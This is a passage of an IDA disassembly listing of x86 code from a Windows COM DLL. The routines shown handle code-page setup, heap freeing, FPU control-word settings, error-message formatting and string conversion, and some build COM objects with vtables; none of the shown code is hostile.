sub_69B1CF24	proc near		; CODE XREF: sub_69B1B625+D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 69B24F5E SIZE 00000008 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_69B96128,	edi
		jnz	short loc_69B1CF3B
		call	sub_69B1CFC6


loc_69B1CF3B:				; CODE XREF: sub_69B1CF24+10j
		push	104h		; nSize
		mov	esi, offset Filename
		push	esi		; lpFilename
		push	edi		; hModule
		mov	byte_69B95C44, 0
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		mov	eax, dword_69B9612C
		cmp	eax, edi
		mov	dword_69B95B1C,	esi
		jz	short loc_69B1CFC2
		cmp	byte ptr [eax],	0
		mov	ebx, eax
		jz	short loc_69B1CFC2


loc_69B1CF6A:				; CODE XREF: sub_69B1CF24+A0j
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		lea	esi, [ebp+var_8]
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_69B1A319
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		shl	esi, 2
		lea	ecx, [eax+esi]
		call	sub_69B19560
		mov	edi, eax
		test	edi, edi
		jz	loc_69B24F5E
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [esi+edi]
		push	edi
		lea	esi, [ebp+var_8]
		mov	eax, ebx
		call	sub_69B1A319
		mov	eax, [ebp+var_4]
		dec	eax
		pop	ecx
		mov	dword_69B95B10,	eax
		pop	ecx
		mov	dword_69B95B14,	edi
		xor	eax, eax


loc_69B1CFBD:				; CODE XREF: sub_69B1CF24+803Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B1CFC2:				; CODE XREF: sub_69B1CF24+3Dj
					; sub_69B1CF24+44j
		mov	ebx, esi
		jmp	short loc_69B1CF6A
sub_69B1CF24	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1CFC6	proc near		; CODE XREF: sub_69B1CF24+12p
					; sub_69B1949B:loc_69B24EBBp
					; DATA XREF: ...
		cmp	dword_69B96128,	0
		jnz	short loc_69B1CFE1
		push	0FFFFFFFDh
		call	sub_69B1CFE4
		pop	ecx
		mov	dword_69B96128,	1


loc_69B1CFE1:				; CODE XREF: sub_69B1CFC6+7j
		xor	eax, eax
		retn
sub_69B1CFC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1CFE4	proc near		; CODE XREF: sub_69B1CFC6+Bp

; FUNCTION CHUNK AT 69B1D12B SIZE 00000091 BYTES
; FUNCTION CHUNK AT 69B2525A SIZE 00000041 BYTES

		push	14h
		push	offset dword_69B1D098
		call	sub_69B19C5C
		or	dword ptr [ebp-1Ch], 0FFFFFFFFh
		push	0Dh
		call	sub_69B113FC
		pop	ecx
		xor	edi, edi
		mov	[ebp-4], edi
		mov	dword_69B95DA0,	edi
		mov	eax, [ebp+8]
		cmp	eax, 0FFFFFFFEh
		jz	loc_69B2525A
		cmp	eax, 0FFFFFFFDh
		jnz	loc_69B1D147
		mov	dword_69B95DA0,	1
		call	ds:GetACP	; GetACP


loc_69B1D02C:				; CODE XREF: sub_69B1CFE4+166j
					; sub_69B1CFE4+8286j ...
		mov	[ebp+8], eax
		cmp	eax, CodePage
		jz	loc_69B1D162
		mov	esi, dword_69B95DBC
		mov	[ebp-20h], esi
		cmp	esi, edi
		jnz	loc_69B1D155


loc_69B1D04C:				; CODE XREF: sub_69B1CFE4+179j
		mov	ecx, 220h
		call	sub_69B19560
		mov	esi, eax
		mov	[ebp-20h], esi


loc_69B1D05B:				; CODE XREF: sub_69B1CFE4+173j
		cmp	esi, edi
		jz	loc_69B1D1A0
		push	dword ptr [ebp+8] ; CodePage
		call	sub_69B1D0A4
		pop	ecx
		mov	[ebp-1Ch], eax
		cmp	eax, edi
		jnz	loc_69B1D1A0
		mov	[esi], edi
		mov	eax, CodePage
		mov	[esi+4], eax
		mov	eax, dword_69B95DC0
		mov	[esi+8], eax
		mov	eax, dword_69B95DB8
		mov	[esi+0Ch], eax
		xor	eax, eax
		jmp	loc_69B1D12B
sub_69B1CFE4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_69B1D098	dd 0FFFFFFFFh, 0		dd offset sub_69B1D1BC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_69B1D0A4(UINT	CodePage)

sub_69B1D0A4	proc near		; CODE XREF: sub_69B1CFE4+82p

CPInfo		= _cpinfo ptr -18h
var_4		= dword	ptr -4
CodePage	= dword	ptr  8

; FUNCTION CHUNK AT 69B25154 SIZE 00000106 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+CodePage]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jz	short loc_69B1D124
		xor	edx, edx
		xor	eax, eax


loc_69B1D0BA:				; CODE XREF: sub_69B1D0A4+2Bj
		cmp	dword_69B92830[eax], esi
		jz	loc_69B25177
		add	eax, 30h
		inc	edx
		cmp	eax, 0F0h
		jb	short loc_69B1D0BA
		lea	eax, [ebp+CPInfo]
		push	eax		; lpCPInfo
		push	esi		; CodePage
		call	ds:GetCPInfo	; GetCPInfo
		cmp	eax, 1
		jnz	loc_69B25246
		push	40h
		xor	eax, eax
		cmp	[ebp+CPInfo.MaxCharSize], 1
		pop	ecx
		mov	edi, offset byte_69B95DE0
		rep stosd
		stosb
		mov	CodePage, esi
		mov	dword_69B95DB8,	ebx
		ja	loc_69B25154
		mov	dword_69B95DC0,	ebx


loc_69B1D10E:				; CODE XREF: sub_69B1D0A4+819Dj
		xor	eax, eax
		mov	edi, offset word_69B95EF0
		stosd
		stosd
		stosd


loc_69B1D118:				; CODE XREF: sub_69B1D0A4+85j
					; sub_69B1D0A4+815Aj
		call	sub_69B19189
		xor	eax, eax


loc_69B1D11F:				; CODE XREF: sub_69B1D0A4+81B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B1D124:				; CODE XREF: sub_69B1D0A4+10j
					; sub_69B1D0A4+81A8j
		call	sub_69B85ADB
		jmp	short loc_69B1D118
sub_69B1D0A4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CFE4


loc_69B1D12B:				; CODE XREF: sub_69B1CFE4+AFj
					; sub_69B1CFE4+15Dj
		mov	[ebp-24h], eax
		cmp	eax, 5
		jge	short loc_69B1D143
		mov	cx, word_69B95EF0[eax*2]
		mov	[esi+eax*2+10h], cx
		inc	eax
		jmp	short loc_69B1D12B
; ---------------------------------------------------------------------------


loc_69B1D143:				; CODE XREF: sub_69B1CFE4+14Dj
		xor	eax, eax
		jmp	short loc_69B1D167
; ---------------------------------------------------------------------------


loc_69B1D147:				; CODE XREF: sub_69B1CFE4+32j
		cmp	eax, 0FFFFFFFCh
		jnz	loc_69B1D02C
		jmp	loc_69B2526F
; ---------------------------------------------------------------------------


loc_69B1D155:				; CODE XREF: sub_69B1CFE4+62j
		cmp	[esi], edi
		jz	loc_69B1D05B
		jmp	loc_69B1D04C
; ---------------------------------------------------------------------------


loc_69B1D162:				; CODE XREF: sub_69B1CFE4+51j
		mov	[ebp-1Ch], edi
		jmp	short loc_69B1D1AA
; ---------------------------------------------------------------------------


loc_69B1D167:				; CODE XREF: sub_69B1CFE4+161j
					; sub_69B1CFE4+198j
		mov	[ebp-24h], eax
		cmp	eax, 101h
		jge	short loc_69B1D17E
		mov	cl, byte_69B95DE0[eax]
		mov	[eax+esi+1Ch], cl
		inc	eax
		jmp	short loc_69B1D167
; ---------------------------------------------------------------------------


loc_69B1D17E:				; CODE XREF: sub_69B1CFE4+18Bj
		xor	eax, eax


loc_69B1D180:				; CODE XREF: sub_69B1CFE4+1B4j
		mov	[ebp-24h], eax
		cmp	eax, 100h
		jge	short loc_69B1D19A
		mov	cl, byte_69B95F00[eax]
		mov	[eax+esi+11Dh],	cl
		inc	eax
		jmp	short loc_69B1D180
; ---------------------------------------------------------------------------


loc_69B1D19A:				; CODE XREF: sub_69B1CFE4+1A4j
		mov	dword_69B95DBC,	esi


loc_69B1D1A0:				; CODE XREF: sub_69B1CFE4+79j
					; sub_69B1CFE4+8Dj
		cmp	dword ptr [ebp-1Ch], 0FFFFFFFFh
		jz	loc_69B25283


loc_69B1D1AA:				; CODE XREF: sub_69B1CFE4+181j
					; sub_69B1CFE4+82A5j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1D1BC
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn
; END OF FUNCTION CHUNK	FOR sub_69B1CFE4

; =============== S U B	R O U T	I N E =======================================



sub_69B1D1BC	proc near		; CODE XREF: sub_69B1CFE4+1CAp
					; DATA XREF: .text:69B1D0A0o
		push	0Dh
		call	sub_69B1D1C5
		pop	ecx
		retn
sub_69B1D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D1C5	proc near		; CODE XREF: sub_69B11F26+7p
					; sub_69B1D1BC+2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	lpCriticalSection[eax*8] ; lpCriticalSection
		call	ds:LeaveCriticalSection
		retn
sub_69B1D1C5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1949B


loc_69B1D1D7:				; CODE XREF: sub_69B1949B+B8j
		push	dword_69B95AF8
		call	sub_69B1D1FD
		and	dword_69B95AF8,	0
		and	dword ptr [ebx], 0
		mov	dword_69B96120,	1
		xor	eax, eax


loc_69B1D1F8:				; CODE XREF: sub_69B1949B+BA4Cj
		pop	ecx


loc_69B1D1F9:				; CODE XREF: sub_69B1949B+BA32j
		pop	ebx
		pop	esi
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B1949B

; =============== S U B	R O U T	I N E =======================================



sub_69B1D1FD	proc near		; CODE XREF: sub_69B1B766-9830p
					; sub_69B1949B+3D42p ...

; FUNCTION CHUNK AT 69B24D22 SIZE 0000003E BYTES

		push	0Ch
		push	offset dword_69B1D238
		call	sub_69B19C5C
		mov	esi, [ebp+8]
		test	esi, esi
		jz	short loc_69B1D22C
		cmp	dword_69B96004,	3
		jz	loc_69B24D22
		push	esi		; lpMem


loc_69B1D21E:				; CODE XREF: sub_69B1D1FD+7B5Ej
		push	0		; dwFlags
		push	dword_69B96000	; hHeap
		call	ds:HeapFree


loc_69B1D22C:				; CODE XREF: sub_69B1D1FD+11j
					; sub_69B1D1FD+7B55j
		call	sub_69B1853C
		retn
sub_69B1D1FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B1D238	dd 0FFFFFFFFh, 0		dd offset sub_69B24D60

; =============== S U B	R O U T	I N E =======================================



sub_69B1D244	proc near		; CODE XREF: sub_69B1E62C+9p
					; DATA XREF: .data:off_69B92678o
		call	sub_69B1144A
		call	sub_69B1D251
		fnclex
		retn
sub_69B1D244	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D251	proc near		; CODE XREF: sub_69B1D244+5p
		push	30000h
		push	10000h
		call	sub_69B1D263
		pop	ecx
		pop	ecx
		retn
sub_69B1D251	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D263	proc near		; CODE XREF: sub_69B1D251+Ap
					; sub_69B47D22+7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_69B1D279
		pop	ecx
		pop	ecx
		retn
sub_69B1D263	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1D279	proc near		; CODE XREF: sub_69B1D263+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		fstcw	word ptr [ebp+var_4]
		mov	ebx, [ebp+var_4]
		call	sub_69B11482
		mov	ebx, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	ebx, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	ebx, eax
		call	sub_69B1D2AB
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_69B1D279	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D2AB	proc near		; CODE XREF: sub_69B1D279+22p

; FUNCTION CHUNK AT 69B24C8F SIZE 0000003C BYTES

		xor	eax, eax
		test	bl, 10h
		jz	short loc_69B1D2B3
		inc	eax


loc_69B1D2B3:				; CODE XREF: sub_69B1D2AB+5j
		test	bl, 8
		jz	short loc_69B1D2BB
		or	eax, 4


loc_69B1D2BB:				; CODE XREF: sub_69B1D2AB+Bj
		test	bl, 4
		jz	short loc_69B1D2C3
		or	eax, 8


loc_69B1D2C3:				; CODE XREF: sub_69B1D2AB+13j
		test	bl, 2
		jz	short loc_69B1D2CB
		or	eax, 10h


loc_69B1D2CB:				; CODE XREF: sub_69B1D2AB+1Bj
		test	bl, 1
		jz	short loc_69B1D2D3
		or	eax, 20h


loc_69B1D2D3:				; CODE XREF: sub_69B1D2AB+23j
		test	ebx, 80000h
		jz	short loc_69B1D2DE
		or	eax, 2


loc_69B1D2DE:				; CODE XREF: sub_69B1D2AB+2Ej
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		push	esi
		mov	esi, 200h
		jnz	loc_69B24C8F


loc_69B1D2F3:				; CODE XREF: sub_69B1D2AB+79F2j
					; sub_69B1D2AB+79FDj ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_69B1D315
		cmp	ecx, 10000h
		jnz	short loc_69B1D307
		or	eax, esi


loc_69B1D307:				; CODE XREF: sub_69B1D2AB+58j
					; sub_69B1D2AB+6Cj
		test	ebx, 40000h
		pop	esi
		jnz	loc_69B24CC1

locret_69B1D314:			; CODE XREF: sub_69B1D2AB+7A1Bj
		retn
; ---------------------------------------------------------------------------


loc_69B1D315:				; CODE XREF: sub_69B1D2AB+50j
		or	eax, edx
		jmp	short loc_69B1D307
sub_69B1D2AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D319	proc near		; CODE XREF: sub_69B1B7AD+2Fp
		cmp	dword_69B95A04,	0
		jnz	short locret_69B1D341
		push	esi
		mov	esi, 8007000Eh
		push	esi
		call	sub_69B1D411
		push	eax
		push	esi
		call	sub_69B1D342
		mov	dword_69B95A04,	eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		pop	esi

locret_69B1D341:			; CODE XREF: sub_69B1D319+7j
		retn
sub_69B1D319	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D342	proc near		; CODE XREF: sub_69B1D319+17p
					; sub_69B2E8A2+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	24h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B1D362
		push	[esp+arg_4]
		mov	ecx, eax
		call	sub_69B1D366


loc_69B1D358:				; CODE XREF: sub_69B1D342+22j
		mov	ecx, [esp+arg_0]
		mov	[eax+8], ecx
		retn	8
; ---------------------------------------------------------------------------


loc_69B1D362:				; CODE XREF: sub_69B1D342+9j
		xor	eax, eax
		jmp	short loc_69B1D358
sub_69B1D342	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D366	proc near		; CODE XREF: sub_69B1D342+11p
					; sub_69B2E8CC+23p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B19118
		push	[esp+4+arg_0]
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B1D394
		lea	eax, [esi+0Ch]
		mov	[eax], ecx
		mov	[esi+10h], ecx
		push	eax
		mov	[esi+14h], ecx
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1D366	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1D394	dd offset sub_69B2D67E	; DATA XREF: sub_69B1D366+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B1D3D0
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2E7F5
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B17CF0
		dd offset nullsub_5
		dd offset sub_69B11FC4
		dd offset sub_69B2EA2C

; =============== S U B	R O U T	I N E =======================================



sub_69B1D3D0	proc near		; DATA XREF: .text:69B1D3A0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B1D3EB
		test	[esp+4+arg_0], 1
		jz	short loc_69B1D3E5
		push	esi
		call	sub_69B1829F


loc_69B1D3E5:				; CODE XREF: sub_69B1D3D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1D3D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D3EB	proc near		; CODE XREF: sub_69B1D3D0+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B1D3EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D411	proc near		; CODE XREF: sub_69B1D319+10p
					; sub_69B2EA2C+37p ...

; FUNCTION CHUNK AT 69B23D0C SIZE 00000067 BYTES

		push	18h
		push	offset dword_69B1D488
		call	sub_69B19C5C
		mov	esi, 1000h
		push	esi
		call	sub_69B1D897
		mov	[ebp-1Ch], eax
		push	0		; Arguments
		push	esi		; nSize
		push	eax		; lpBuffer
		mov	ebx, 400h
		push	ebx		; dwLanguageId
		push	dword ptr [ebp+8] ; dwMessageId
		push	0		; lpSource
		push	esi		; dwFlags
		mov	edi, ds:FormatMessageA
		call	edi ; FormatMessageA
		test	eax, eax
		jbe	loc_69B23D0C


loc_69B1D44B:				; CODE XREF: sub_69B1D411+691Aj
					; sub_69B1D411+693Dj
		and	dword ptr [ebp-4], 0
		and	dword ptr [ebp-20h], 0
		test	eax, eax
		jbe	loc_69B23D53
		mov	ecx, [ebp-1Ch]
		mov	byte ptr [eax+ecx], 0
		push	ecx		; lpMultiByteStr
		call	sub_69B1D494


loc_69B1D468:				; CODE XREF: sub_69B1D411+695Dj
		mov	[ebp-24h], eax


loc_69B1D46B:				; CODE XREF: sub_69B23D7C+Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		call	sub_69B1B2B7
		mov	eax, [ebp-24h]
		call	sub_69B1853C
		retn	4
sub_69B1D411	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B1D488	dd 0FFFFFFFFh			dd offset sub_69B23D73
		dd offset sub_69B23D7C

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B1D494(LPCSTR lpMultiByteStr)

sub_69B1D494	proc near		; CODE XREF: sub_69B16A74+39p
					; sub_69B1D411+52p ...

cchWideChar	= dword	ptr -4
lpMultiByteStr	= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+lpMultiByteStr]
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	esi, [eax+1]
		xor	ebx, ebx


loc_69B1D4A2:				; CODE XREF: sub_69B1D494+13j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_69B1D4A2
		push	ebx		; cchWideChar
		sub	eax, esi
		mov	esi, ds:MultiByteToWideChar
		push	ebx		; lpWideCharStr
		mov	ebp, eax
		push	ebp		; cchMultiByte
		push	[esp+20h+lpMultiByteStr] ; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	esi ; MultiByteToWideChar
		push	eax
		push	ebx
		mov	[esp+1Ch+cchWideChar], eax
		call	sub_69B190D7
		push	[esp+14h+cchWideChar] ;	cchWideChar
		mov	edi, eax
		push	dword ptr [edi+0Ch] ; lpWideCharStr
		push	ebp		; cchMultiByte
		push	[esp+20h+lpMultiByteStr] ; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	esi ; MultiByteToWideChar
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	4
sub_69B1D494	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D4E5	proc near		; CODE XREF: DllGetClassObject+7Cp
		cmp	dword_69B95A24,	0
		jnz	short locret_69B1D524
		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B1D525
		mov	ecx, eax
		call	sub_69B1D529


loc_69B1D500:				; CODE XREF: sub_69B1D4E5+42j
		push	eax		; Value
		mov	ecx, offset dword_69B95A24 ; Target
		call	sub_69B188DC
		mov	eax, dword_69B95A24
		push	0
		add	eax, 10h
		push	eax
		call	sub_69B17320
		mov	eax, dword_69B95A24
		mov	byte ptr [eax+0Ch], 0

locret_69B1D524:			; CODE XREF: sub_69B1D4E5+7j
		retn
; ---------------------------------------------------------------------------


loc_69B1D525:				; CODE XREF: sub_69B1D4E5+12j
		xor	eax, eax
		jmp	short loc_69B1D500
sub_69B1D4E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D529	proc near		; CODE XREF: sub_69B1D4E5+16p
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		mov	dword ptr [edi], offset	off_69B1D590
		mov	dword ptr [esi], offset	off_69B1D554
		and	dword ptr [esi+10h], 0
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B1D529	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1D554	dd offset sub_69B6547B	; DATA XREF: sub_69B1D529+19o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B1D5D8
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B11FA3
		align 10h
off_69B1D590	dd offset sub_69B65C47	; DATA XREF: sub_69B1D529+13o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B77078
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B2FB2A
		dd offset sub_69B2FAFE
		dd offset sub_69B2FB0C
		dd offset sub_69B2FB19
		dd offset sub_69B2FAF3

; =============== S U B	R O U T	I N E =======================================



sub_69B1D5D8	proc near		; CODE XREF: sub_69B77078+3j
					; DATA XREF: .text:69B168CCo ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B1D5F3
		test	[esp+4+arg_0], 1
		jz	short loc_69B1D5ED
		push	esi
		call	sub_69B1829F


loc_69B1D5ED:				; CODE XREF: sub_69B1D5D8+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1D5D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D5F3	proc near		; CODE XREF: sub_69B1D5D8+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		neg	ecx
		lea	eax, [esi+8]
		sbb	ecx, ecx
		and	ecx, eax
		call	sub_69B18700
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B1D5F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D617	proc near		; DATA XREF: .text:69B1C638o
					; .text:69B1C648o ...

; FUNCTION CHUNK AT 69B24110 SIZE 0000000A BYTES

		push	1Ch
		push	offset dword_69B1D698
		call	sub_69B19C5C
		xor	ebx, ebx
		cmp	dword_69B9296C,	ebx
		jnz	loc_69B24110
		mov	[ebp-4], ebx
		push	1
		lea	ecx, [ebp-24h]
		call	sub_69B11D3B
		call	sub_69B1BCCF
		mov	esi, eax
		mov	[ebp-28h], esi
		push	ebx
		mov	ecx, esi
		call	sub_69B1D6A4
		mov	eax, [esi]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	esi
		call	dword ptr [eax]
		mov	[ebp-2Ch], eax
		mov	byte ptr [esi+7Ch], 1
		mov	byte ptr [esi+7Dh], 1
		mov	byte ptr [esi+7Eh], 1
		mov	[esi+7Fh], bl
		mov	byte ptr [esi+81h], 1
		mov	[esi+83h], bl
		lea	ecx, [ebp-24h]
		call	sub_69B1976C


loc_69B1D682:				; CODE XREF: sub_69B24123+18j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-2Ch]


loc_69B1D689:				; CODE XREF: sub_69B1D617+6AFEj
		call	sub_69B1853C
		retn	8
sub_69B1D617	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B1D698	dd 0FFFFFFFFh			dd offset sub_69B2411A
		dd offset sub_69B24123

; =============== S U B	R O U T	I N E =======================================



sub_69B1D6A4	proc near		; CODE XREF: sub_69B1D617+34p
					; sub_69B3C634+80p ...

arg_0		= byte ptr  4

; FUNCTION CHUNK AT 69B24140 SIZE 0000000C BYTES

		mov	al, [esp+arg_0]
		test	al, al
		mov	[ecx+8Dh], al
		jnz	loc_69B24140

locret_69B1D6B6:			; CODE XREF: sub_69B1D6A4+6AA3j
		retn	4
sub_69B1D6A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D6B9	proc near		; CODE XREF: sub_69B1BCE3+6p
					; sub_69B78994+4p ...
		push	esi
		mov	esi, ecx
		call	sub_69B18654
		lea	ecx, [esi+0Ch]
		call	sub_69B1D6CD
		mov	eax, esi
		pop	esi
		retn
sub_69B1D6B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D6CD	proc near		; CODE XREF: sub_69B1D6B9+Bp
					; sub_69B3BA77+Ep ...
		mov	eax, ecx
		xor	ecx, ecx
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		mov	[eax+10h], ecx
		mov	[eax+14h], cl
		mov	[eax+15h], cl
		retn
sub_69B1D6CD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19E6E


loc_69B1D6E4:				; CODE XREF: sub_69B19E6E-BEDj
					; sub_69B19E6E+38A9j
		cmp	esi, 1Fh
		jge	short loc_69B1D719
		mov	ebx, off_69B92188[esi*4]
		mov	[ebp-74h], ebx
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	[ebp-78h], eax
		push	dword_69B95A5C
		push	ebx
		call	sub_69B192B7
		push	eax
		mov	ecx, [ebp-78h]
		call	sub_69B199CC
		inc	esi
		mov	[ebp-60h], esi
		jmp	short loc_69B1D6E4
; ---------------------------------------------------------------------------


loc_69B1D719:				; CODE XREF: sub_69B19E6E+3879j
					; sub_69B19E6E+38DEj
		cmp	esi, 21h
		jge	short loc_69B1D74E
		mov	ebx, off_69B92188[esi*4]
		mov	[ebp-7Ch], ebx
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	[ebp-80h], eax
		push	dword_69B95A54
		push	ebx
		call	sub_69B192B7
		push	eax
		mov	ecx, [ebp-80h]
		call	sub_69B199CC
		inc	esi
		mov	[ebp-60h], esi
		jmp	short loc_69B1D719
; ---------------------------------------------------------------------------


loc_69B1D74E:				; CODE XREF: sub_69B19E6E+38AEj
					; sub_69B19E6E+391Cj
		cmp	esi, 22h
		jge	short loc_69B1D78C
		mov	ebx, off_69B92188[esi*4]
		mov	[ebp-84h], ebx
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	[ebp-88h], eax
		push	dword_69B95A44
		push	ebx
		call	sub_69B192B7
		push	eax
		mov	ecx, [ebp-88h]
		call	sub_69B199CC
		inc	esi
		mov	[ebp-60h], esi
		jmp	short loc_69B1D74E
; ---------------------------------------------------------------------------


loc_69B1D78C:				; CODE XREF: sub_69B19E6E+38E3j
					; sub_69B19E6E+395Aj
		cmp	esi, 23h
		jge	short loc_69B1D7CA
		mov	ebx, off_69B92188[esi*4]
		mov	[ebp-8Ch], ebx
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	[ebp-90h], eax
		push	dword_69B95A4C
		push	ebx
		call	sub_69B192B7
		push	eax
		mov	ecx, [ebp-90h]
		call	sub_69B199CC
		inc	esi
		mov	[ebp-60h], esi
		jmp	short loc_69B1D78C
; ---------------------------------------------------------------------------


loc_69B1D7CA:				; CODE XREF: sub_69B19E6E+3921j
		push	edi		; Value
		mov	ecx, offset dword_69B95A84 ; Target
		call	sub_69B188DC


loc_69B1D7D5:				; CODE XREF: sub_69B19E6E+3Ej
					; sub_69B240F3+18j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C


loc_69B1D7E9:				; CODE XREF: sub_69B19E6E+17j
		call	sub_69B1853C
		retn
; ---------------------------------------------------------------------------


loc_69B1D7EF:				; CODE XREF: sub_69B19E6E+15Ej
		xor	eax, eax
		jmp	loc_69B19FD7
; END OF FUNCTION CHUNK	FOR sub_69B19E6E

; =============== S U B	R O U T	I N E =======================================



sub_69B1D7F6	proc near		; CODE XREF: sub_69B1A72A+3p
					; sub_69B4DE11+15Bp ...

; FUNCTION CHUNK AT 69B25771 SIZE 00000003 BYTES

